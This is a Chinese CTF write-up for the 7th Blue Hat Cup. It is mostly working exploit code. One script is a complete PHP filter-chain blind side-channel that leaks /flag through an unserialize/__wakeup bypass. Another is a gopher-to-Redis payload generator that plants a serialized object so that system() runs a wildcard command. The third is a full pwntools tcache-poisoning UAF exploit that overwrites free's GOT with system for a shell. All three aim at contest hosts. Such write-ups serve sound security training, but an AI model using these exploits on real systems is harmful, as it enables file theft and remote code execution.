August 28, 2023

全国大学生网络安全大赛 第七届蓝帽杯 Writeup

Web

LovePHP

filterchain侧信道盲注攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
class Saferman{
public $check = True;
public function __destruct(){
if($this->check === True){
file($_GET[‘secret’]);
}
}
public function __wakeup(){
$this->check=False;
}
}
if(isset($_GET[‘my_secret.flag’])){
unserialize($_GET[‘my_secret.flag’]);
}else{
highlight_file(FILE);
}

需要做的也就是直接掏出脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
import requests
import sys
from base64 import b64decode

"""
THE GRAND IDEA:
We can use PHP memory limit as an error oracle. Repeatedly applying the convert.iconv.L1.UCS-4LE
filter will blow up the string length by 4x every time it is used, which will quickly cause
500 error if and only if the string is non empty. So we now have an oracle that tells us if
the string is empty.

THE GRAND IDEA 2:
The dechunk filter is interesting.
https://github.com/php/php-src/blob/01b3fc03c30c6cb85038250bb5640be3a09c6a32/ext/standard/filters.c#L1724
It looks like it was implemented for something http related, but for our purposes, the interesting
behavior is that if the string contains no newlines, it will wipe the entire string if and only if
the string starts with A-Fa-f0-9, otherwise it will leave it untouched. This works perfect with our
above oracle! In fact we can verify that since the flag starts with D that the filter chain

dechunk|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|[...]|convert.iconv.L1.UCS-4LE

does not cause a 500 error.

THE REST:
So now we can verify if the first character is in A-Fa-f0-9. The rest of the challenge is a descent
into madness trying to figure out ways to:
- somehow get other characters not at the start of the flag file to the front
- detect more precisely which character is at the front
"""

def join(*x):
return '|'.join(x)

def err(s):
print(s)
raise ValueError

def req(s):
data = {
'my[secret.flag':'C:8:"Saferman":0:{}',
'secret': f'php://filter/{s}/resource=/flag'
}
r=requests.get('http://39.105.5.7:47698/', params=data)
print(r.status_code)
return r.status_code == 500

"""
Step 1:
The second step of our exploit only works under two conditions:
- String only contains a-zA-Z0-9
- String ends with two equals signs

base64-encoding the flag file twice takes care of the first condition.

We don't know the length of the flag file, so we can't be sure that it will end with two equals
signs.

Repeated application of the convert.quoted-printable-encode will only consume additional
memory if the base64 ends with equals signs, so that's what we are going to use as an oracle here.
If the double-base64 does not end with two equals signs, we will add junk data to the start of the
flag with convert.iconv..CSISO2022KR until it does.
"""

blow_up_enc = join(*['convert.quoted-printable-encode']*1000)
blow_up_utf32 = 'convert.iconv.L1.UCS-4LE'
blow_up_inf = join(*[blow_up_utf32]*50)

header = 'convert.base64-encode|convert.base64-encode'

# Start get baseline blowup
print('Calculating blowup')
baseline_blowup = 0
for n in range(100):
payload = join(*[blow_up_utf32]*n)
if req(f'{header}|{payload}'):
baseline_blowup = n
break
else:
err('something wrong')

print(f'baseline blowup is {baseline_blowup}')

trailer = join(*[blow_up_utf32]*(baseline_blowup-1))

assert req(f'{header}|{trailer}') == False

print('detecting equals')
j = [
req(f'convert.base64-encode|convert.base64-encode|{blow_up_enc}|{trailer}'),
req(f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.base64-encode{blow_up_enc}|{trailer}'),
req(f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.iconv..CSISO2022KR|convert.base64-encode|{blow_up_enc}|{trailer}')
]
print(j)
if sum(j) != 2:
err('something wrong')
if j[0] == False:
header = f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.base64-encode'
elif j[1] == False:
header = f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.iconv..CSISO2022KRconvert.base64-encode'
elif j[2] == False:
header = f'convert.base64-encode|convert.base64-encode'
else:
err('something wrong')
print(f'j: {j}')
print(f'header: {header}')

"""
Step two:
Now we have something of the form
[a-zA-Z0-9 things]==

Here the pain begins. For a long time I was trying to find something that would allow me to strip
successive characters from the start of the string to access every character. Maybe something like
that exists but I couldn't find it. However, if you play around with filter combinations you notice
there are filters that *swap* characters:

convert.iconv.CSUNICODE.UCS-2BE, which I call r2, flips every pair of characters in a string:
abcdefgh -> badcfehg

convert.iconv.UCS-4LE.10646-1:1993, which I call r4, reverses every chunk of four characters:
abcdefgh -> dcbahgfe

This allows us to access the first four characters of the string. Can we do better? It turns out
YES, we can! Turns out that convert.iconv.CSUNICODE.CSUNICODE appends <0xff><0xfe> to the start of
the string:

abcdefgh -> <0xff><0xfe>abcdefgh

The idea being that if we now use the r4 gadget, we get something like:
ba<0xfe><0xff>fedc

And then if we apply a convert.base64-decode|convert.base64-encode, it removes the invalid
<0xfe><0xff> to get:
bafedc

And then apply the r4 again, we have swapped the f and e to the front, which were the 5th and 6th
characters of the string. There's only one problem: our r4 gadget requires that the string length
is a multiple of 4. The original base64 string will be a multiple of four by definition, so when
we apply convert.iconv.CSUNICODE.CSUNICODE it will be two more than a multiple of four, which is no
good for our r4 gadget. This is where the double equals we required in step 1 comes in! Because it
turns out, if we apply the filter
convert.quoted-printable-encode|convert.quoted-printable-encode|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7

It will turn the == into:
+---AD0-3D3D+---AD0-3D3D

And this is magic, because this corrects such that when we apply the
convert.iconv.CSUNICODE.CSUNICODE filter the resuting string is exactly a multiple of four!

Let's recap. We have a string like:
abcdefghij==

Apply the convert.quoted-printable-encode + convert.iconv.L1.utf7:
abcdefghij+---AD0-3D3D+---AD0-3D3D

Apply convert.iconv.CSUNICODE.CSUNICODE:
<0xff><0xfe>abcdefghij+---AD0-3D3D+---AD0-3D3D

Apply r4 gadget:
ba<0xfe><0xff>fedcjihg---+-0DAD3D3---+-0DAD3D3

Apply base64-decode | base64-encode, so the '-' and high bytes will disappear:
bafedcjihg+0DAD3D3+0DAD3Dw==

Then apply r4 once more:
efabijcd0+gh3DAD0+3D3DAD==wD

And here's the cute part: not only have we now accessed the 5th and 6th chars of the string, but
the string still has two equals signs in it, so we can reapply the technique as many times as we
want, to access all the characters in the string ;)
"""

flip = "convert.quoted-printable-encode|convert.quoted-printable-encode|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.CSUNICODE.CSUNICODE|convert.iconv.UCS-4LE.10646-1:1993|convert.base64-decode|convert.base64-encode"
r2 = "convert.iconv.CSUNICODE.UCS-2BE"
r4 = "convert.iconv.UCS-4LE.10646-1:1993"

def get_nth(n):
global flip, r2, r4
o = []
chunk = n // 2
if chunk % 2 == 1: o.append(r4)
o.extend([flip, r4] * (chunk // 2))
if (n % 2 == 1) ^ (chunk % 2 == 1): o.append(r2)
return join(*o)

"""
Step 3:
This is the longest but actually easiest part. We can use dechunk oracle to figure out if the first
char is 0-9A-Fa-f. So it's just a matter of finding filters which translate to or from those
chars. rot13 and string lower are helpful. There are probably a million ways to do this bit but
I just bruteforced every combination of iconv filters to find these.

Numbers are a bit trickier because iconv doesn't tend to touch them.
In the CTF you coud porbably just guess from there once you have the letters. But if you actually
want a full leak you can base64 encode a third time and use the first two letters of the resulting
string to figure out which number it is.
"""

rot1 = 'convert.iconv.437.CP930'
be = 'convert.quoted-printable-encode|convert.iconv..UTF7|convert.base64-decode|convert.base64-encode'
o = ''

def find_letter(prefix):
if not req(f'{prefix}|dechunk|{blow_up_inf}'):
# a-f A-F 0-9
if not req(f'{prefix}|{rot1}|dechunk|{blow_up_inf}'):
# a-e
for n in range(5):
if req(f'{prefix}|' + f'{rot1}|{be}|'*(n+1) + f'{rot1}|dechunk|{blow_up_inf}'):
return 'edcba'[n]
break
else:
err('something wrong')
elif not req(f'{prefix}|string.tolower|{rot1}|dechunk|{blow_up_inf}'):
# A-E
for n in range(5):
if req(f'{prefix}|string.tolower|' + f'{rot1}|{be}|'*(n+1) + f'{rot1}|dechunk|{blow_up_inf}'):
return 'EDCBA'[n]
break
else:
err('something wrong')
elif not req(f'{prefix}|convert.iconv.CSISO5427CYRILLIC.855|dechunk|{blow_up_inf}'):
return '*'
elif not req(f'{prefix}|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
# f
return 'f'
elif not req(f'{prefix}|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
# F
return 'F'
else:
err('something wrong')
elif not req(f'{prefix}|string.rot13|dechunk|{blow_up_inf}'):
# n-s N-S
if not req(f'{prefix}|string.rot13|{rot1}|dechunk|{blow_up_inf}'):
# n-r
for n in range(5):
if req(f'{prefix}|string.rot13|' + f'{rot1}|{be}|'*(n+1) + f'{rot1}|dechunk|{blow_up_inf}'):
return 'rqpon'[n]
break
else:
err('something wrong')
elif not req(f'{prefix}|string.rot13|string.tolower|{rot1}|dechunk|{blow_up_inf}'):
# N-R
for n in range(5):
if req(f'{prefix}|string.rot13|string.tolower|' + f'{rot1}|{be}|'*(n+1) + f'{rot1}|dechunk|{blow_up_inf}'):
return 'RQPON'[n]
break
else:
err('something wrong')
elif not req(f'{prefix}|string.rot13|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
# s
return 's'
elif not req(f'{prefix}|string.rot13|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
# S
return 'S'
else:
err('something wrong')
elif not req(f'{prefix}|{rot1}|string.rot13|dechunk|{blow_up_inf}'):
# i j k
if req(f'{prefix}|{rot1}|string.rot13|{be}|{rot1}|dechunk|{blow_up_inf}'):
return 'k'
elif req(f'{prefix}|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
return 'j'
elif req(f'{prefix}|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
return 'i'
else:
err('something wrong')
elif not req(f'{prefix}|string.tolower|{rot1}|string.rot13|dechunk|{blow_up_inf}'):
# I J K
if req(f'{prefix}|string.tolower|{rot1}|string.rot13|{be}|{rot1}|dechunk|{blow_up_inf}'):
return 'K'
elif req(f'{prefix}|string.tolower|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
return 'J'
elif req(f'{prefix}|string.tolower|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
return 'I'
else:
err('something wrong')
elif not req(f'{prefix}|string.rot13|{rot1}|string.rot13|dechunk|{blow_up_inf}'):
# v w x
if req(f'{prefix}|string.rot13|{rot1}|string.rot13|{be}|{rot1}|dechunk|{blow_up_inf}'):
return 'x'
elif req(f'{prefix}|string.rot13|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
return 'w'
elif req(f'{prefix}|string.rot13|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
return 'v'
else:
err('something wrong')
elif not req(f'{prefix}|string.tolower|string.rot13|{rot1}|string.rot13|dechunk|{blow_up_inf}'):
# V W X
if req(f'{prefix}|string.tolower|string.rot13|{rot1}|string.rot13|{be}|{rot1}|dechunk|{blow_up_inf}'):
return 'X'
elif req(f'{prefix}|string.tolower|string.rot13|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
return 'W'
elif req(f'{prefix}|string.tolower|string.rot13|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
return 'V'
else:
err('something wrong')
elif not req(f'{prefix}|convert.iconv.CP285.CP280|string.rot13|dechunk|{blow_up_inf}'):
# Z
return 'Z'
elif not req(f'{prefix}|string.toupper|convert.iconv.CP285.CP280|string.rot13|dechunk|{blow_up_inf}'):
# z
return 'z'
elif not req(f'{prefix}|string.rot13|convert.iconv.CP285.CP280|string.rot13|dechunk|{blow_up_inf}'):
# M
return 'M'
elif not req(f'{prefix}|string.rot13|string.toupper|convert.iconv.CP285.CP280|string.rot13|dechunk|{blow_up_inf}'):
# m
return 'm'
elif not req(f'{prefix}|convert.iconv.CP273.CP1122|string.rot13|dechunk|{blow_up_inf}'):
# y
return 'y'
elif not req(f'{prefix}|string.tolower|convert.iconv.CP273.CP1122|string.rot13|dechunk|{blow_up_inf}'):
# Y
return 'Y'
elif not req(f'{prefix}|string.rot13|convert.iconv.CP273.CP1122|string.rot13|dechunk|{blow_up_inf}'):
# l
return 'l'
elif not req(f'{prefix}|string.tolower|string.rot13|convert.iconv.CP273.CP1122|string.rot13|dechunk|{blow_up_inf}'):
# L
return 'L'
elif not req(f'{prefix}|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{blow_up_inf}'):
# h
return 'h'
elif not req(f'{prefix}|string.tolower|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{blow_up_inf}'):
# H
return 'H'
elif not req(f'{prefix}|string.rot13|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{blow_up_inf}'):
# u
return 'u'
elif not req(f'{prefix}|string.rot13|string.tolower|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{blow_up_inf}'):
# U
return 'U'
elif not req(f'{prefix}|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
# g
return 'g'
elif not req(f'{prefix}|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
# G
return 'G'
elif not req(f'{prefix}|string.rot13|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
# t
return 't'
elif not req(f'{prefix}|string.rot13|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
# T
return 'T'
else:
err('something wrong')

print()
for i in range(100):
prefix = f'{header}|{get_nth(i)}'
letter = find_letter(prefix)
# it's a number! check base64
if letter == '*':
prefix = f'{header}|{get_nth(i)}|convert.base64-encode'
s = find_letter(prefix)
if s == 'M':
# 0 - 3
prefix = f'{header}|{get_nth(i)}|convert.base64-encode|{r2}'
ss = find_letter(prefix)
if ss in 'CDEFGH':
letter = '0'
elif ss in 'STUVWX':
letter = '1'
elif ss in 'ijklmn':
letter = '2'
elif ss in 'yz*':
letter = '3'
else:
err(f'bad num ({ss})')
elif s == 'N':
# 4 - 7
prefix = f'{header}|{get_nth(i)}|convert.base64-encode|{r2}'
ss = find_letter(prefix)
if ss in 'CDEFGH':
letter = '4'
elif ss in 'STUVWX':
letter = '5'
elif ss in 'ijklmn':
letter = '6'
elif ss in 'yz*':
letter = '7'
else:
err(f'bad num ({ss})')
elif s == 'O':
# 8 - 9
prefix = f'{header}|{get_nth(i)}|convert.base64-encode|{r2}'
ss = find_letter(prefix)
if ss in 'CDEFGH':
letter = '8'
elif ss in 'STUVWX':
letter = '9'
else:
err(f'bad num ({ss})')
else:
err('wtf')

print(end=letter)
o += letter
sys.stdout.flush()

"""
We are done!! :)
"""

print()
d = b64decode(o.encode() + b'=' * 4)
# remove KR padding
d = d.replace(b'\x1b$)C',b'')
print(b64decode(d))

MyBrowser

我严重怀疑这一题是一个错题,首先view路由可以读取到文件的源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?php
// Turn off all error reporting
error_reporting(0);
require_once 'session.php';
class Record
{
function __construct()
{
$this->record = [];
}
function __toString()
{
return "_";
}
function get_record()
{
return $this->record;
}
function clear_record()
{
$this->record = [];
}
function push($url)
{
$this->record[] = $url;
}
static function new()
{
return new Record();
}
}
$session = SM:: handle_cookie('sess_id', ['Record', 'new']);
if (!isset($_GET['action'])) {
die();
}
$action = $_GET['action'];
if ($action === 'view' && isset($_GET['url'])) {
header("Content-Security-Policy: script-src 'none'");
$url = $_GET['url'];
$session->push($url);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_exec($ch);
curl_close($ch);
} else if ($action === 'get_record') {
header('Content-Type: application/json');
$session->get_record();
echo "get_record";
} else if ($action === 'clear_record') {
$session->clear_record();
echo 'OK';
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
<?php
// Turn off all error reporting
$g = new Redis();
$g->connect('localhost', 6379);

class SM
{
function __construct($g, $ss, $f, $e = 'serialize', $d = 'unserialize')
{
$this->g = $g;
$this->ss = $ss;
$this->e = $e;
$this->d = $d;
$this->f = $f;
$this->val = null;
}

function __toString()
{
return "__";
}

function get()
{
if ($this->val !== null) {
return $this->val;
}
echo "in";
if ($this->g->exists($this->ss)) {
echo "hasvalue";
$s = $this->g->get($this->ss);
var_dump($s);
var_dump($this->f);
echo "if1";
if (is_string($s) && (strpos($s, $this->f[0]) !== false)) {
echo "if2";
var_dump($s);
var_dump($this->val);
var_dump($this->d);
$this->val = ($this->d)($s);
} else {
echo "if3";
var_dump($this->val);
$this->val = ($this->f)();
}
} else {
$this->val = ($this->f)();
}
return $this->val;
}

function __destruct()
{
echo "des";
global $g;
var_dump($this->val);
var_dump($this->e);
var_dump($this->val);
if (($this->val !== null)) {
var_dump($this->val);
var_dump($this->ss);
$g->set($this->ss, ($this->e)($this->val));
}
}

function __call($name, $arguments)
{
return $this->get()->{$name}(...$arguments);
}

static function handle_cookie($name, $f)
{
global $g;
if (isset($_COOKIE[$name])) {
$ss = $_COOKIE[$name];
} else {
$ss = bin2hex(random_bytes(10));
setcookie($name, $ss);
}
return new SM($g, $ss, $f);
}
}

这他妈很明显就是gopher打redis注入恶意的键值,然后反序列化在image.png
此处进行rce,我们可以让e为system,val为恶意字符串,这样就执行命令了,但是需要绕过一个正则,就是不可以有字母,我的思路是利用php临时文件,但是就是无法复现,本地8.2都通了,真的是搞心态。。。。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from urllib.parse import quote

url="http://localhost:8888/"
protocol="gopher://"
ip="127.0.0.1"
port="6379"
# shell='O:2:"SM":2:{s:1:"e";s:6:"system";s:3:"val";s:20:". /???/???[@-[]?????";}'
shell='O:2:"SM":4:{s:1:"e";s:6:"system";s:3:"val";s:20:". /???/????????[@-[]";s:1:"f";N;s:8:"boogipop";s:6:"Record";}'
# shell='O:2:"SM":5:{s:1:"e";s:7:"scandir";s:3:"val";s:1:"/";s:1:"f";N;s:2:"ss";s:4:"test";s:8:"boogipop";s:6:"Record";}'
# shell='O:2:"SM":4:{s:1:"e";s:7:"phpinfo";s:3:"val";i:999999999;s:1:"f";N;s:8:"boogipop";s:6:"Record";}'
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=[#"auth root",
"set pop {}".format(shell.replace(" ","${IFS}")),
# "config set dbfilename pop.php"
# "get boogipop4",
# "set boogipop4 {}".format(shell),
# "config set dir {}".format(path),
# "config set dbfilename {}".format(filename),
"save"
]
#O:2:"SM":4:{s:1:"e";s:6:"system";s:3:"val";s:20:". /???/????????[@-[]";s:1:"f";N;s:8:"boogipop";s:6:"Record";}
payload=''
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
def generate_payload():
global payload
for x in cmd:
payload += quote(quote(redis_format(x)))
return payload

print(generate_payload())

Misc

前半段flag只需要把文件拖进工具分析
image.png
后半段是用 volatility去找文件
volatility -f .\blue.raw --profile=Win7SP1x64 filescan|findstr "eskto p"
有一个readme和key.rsmr以及mouserecorder.exe
对readme进行一个明文攻击就可以得到一张图片
image.png
然后将key导入mousereocreder让其运动,画出了几个圈圈,根据表对照得到key a91e37bf,然后AES解密一下就得到后半段flag
flag{194a019a-1767-913a-f140-2626195942a0}

Re

直接在c源码里有个注释。。image.png

Pwn

tcache poisoning ;UAF
image.png
64位开了nx和canary
增删改三个功能
image.png
v1是index,在if检查中,检查了v1不能超过5(0x404088中存储),以及在list中该 index中没有指针 注意下这个list也是一个堆 malloc一个固定0x1c大小的chunk,在该chunk的前八字节存放name,之后的空间中存 储remark
image.png
free之后没有清空指针,存在UAF漏洞
image.png
需要注意的是:这里只能修改name,也就是修改chunk的前八字节
tcache poisoning
tcache poisoning是tcache的攻击手段,作用是可以实现任意地址写,攻击的手法是: 修改位于tcache bin中的chunk的fd,使之指向我们想要修改的地址(注意tcache bin中 chunk的fd是指向下一个chunk的fd,或者说userdata域,而非header,所以不需指向 target-0x10),然后连续申请两次就可以将target申请出来 这道题就可以使用tcache poisoning 我们的第一步应该是修改0x404088里的内容,这里的值限制了我们add chunk的个数不 能超过6,而这显然不够,所以我们把它改大一点:

1
2
3
4
5
6
7
8
add(0,'a','a')
add(1,'b','b')
add(2,b'/bin/sh\x00',b'/bin/sh\x00')
delete(0)
delete(1)
edit(1,p64(0x0404088-8))
add(3,'a','a')#1
add(4,'a',p64(0x20))

注意下:delete 0和1之后,在tcache中是1->0,而我们修改了1的fd,所以0此时就不 再位于tcache中,所以他会被认为是inuse的chunk 然后下一步我们就该leak出libc了,这个程序中没有单独的打印功能,但是再edit功能 中是会打印出该chunk的remark的,也就是chunk第八字节之后的内容。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
delete(0)
delete(1)
edit(1, p64(0x404030 - 8))
add(7,b'/bin/sh\x00',b'/bin/sh\x00')
add(8, b"\x00", b"a" * 8)
p.recvuntil('Please input your choose: ')
p.sendline('3')
p.sendlineafter(b"Please input index: ", str(8).encode())
setbuf_addr=u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
log.info(hex(setbuf_addr))
libc=LibcSearcher('setbuf',setbuf_addr)
libc_base=setbuf_addr-libc.dump('setbuf')
system=libc_base+libc.dump('system')
p.sendafter(b"New food name is: ", p64(0))

image.png
我们是将chunk申请到了0x404028(userdata),然后edit掉了setresgid函数的got 表,然后泄露出了setbuf的got表 由于这道题没开relro保护,所以我们可以将某个函数的got表修改为system函数,我们 选择free函数,然后free掉一个chunk,并且这个chunk里面写入 /bin/sh\x00

1
2
3
4
5
6
7
8
9
delete(1)
delete(2)
edit(2,p64(free_got-8))
add(9,b'/bin/sh\x00',b'/bin/sh\x00')
add(10,b'/bin/sh\x00',p64(system))
delete(9)
#gdb.attach(p)
p.interactive()

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from pwn import *
from LibcSearcher import *
context(log_level='debug',arch='amd64')
p=process('./takeway2')
p=remote('101.200.234.115',43668)
elf=ELF('./takeway2')
free_got=elf.got['free']
def add(index,name,remark):
p.recvuntil('Please input your choose: ')
p.sendline('1')
p.recvuntil('Please input your order index')
p.sendline(str(index))
p.recvuntil('Please input your food name: ')
p.send(name)
p.recvuntil('a remark: ')
p.send(remark)#second 8
def delete(index):
p.recvuntil('Please input your choose: ')
p.sendline('2')
p.recvuntil('Please input your order index')
p.sendline(str(index))
def edit(index,name):
p.recvuntil('Please input your choose: ')
p.sendline('3')
p.recvuntil('Please input index: ')
p.sendline(str(index))
p.recvuntil('New food name is: ')
p.send(name)#first 8
add(0,'a','a')
add(1,'b','b')
add(2,b'/bin/sh\x00',b'/bin/sh\x00')
delete(0)
delete(1)
edit(1,p64(0x0404088-8))
add(3,'a','a')#1
add(4,'a',p64(0x20))
delete(0)
delete(1)
edit(1, p64(0x404030 - 8))
add(7,b'/bin/sh\x00',b'/bin/sh\x00')
add(8, b"\x00", b"a" * 8)
p.recvuntil('Please input your choose: ')
p.sendline('3')
p.sendlineafter(b"Please input index: ", str(8).encode())
setbuf_addr=u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
log.info(hex(setbuf_addr))
libc=LibcSearcher('setbuf',setbuf_addr)
libc_base=setbuf_addr-libc.dump('setbuf')
system=libc_base+libc.dump('system')
p.sendafter(b"New food name is: ", p64(0))
delete(1)
delete(2)
edit(2,p64(free_got-8))
add(9,b'/bin/sh\x00',b'/bin/sh\x00')
add(10,b'/bin/sh\x00',p64(system))
delete(9)
#gdb.attach(p)
p.interactive()

About this Post

This post is written by Boogipop, licensed under CC BY-NC 4.0.

#WriteUp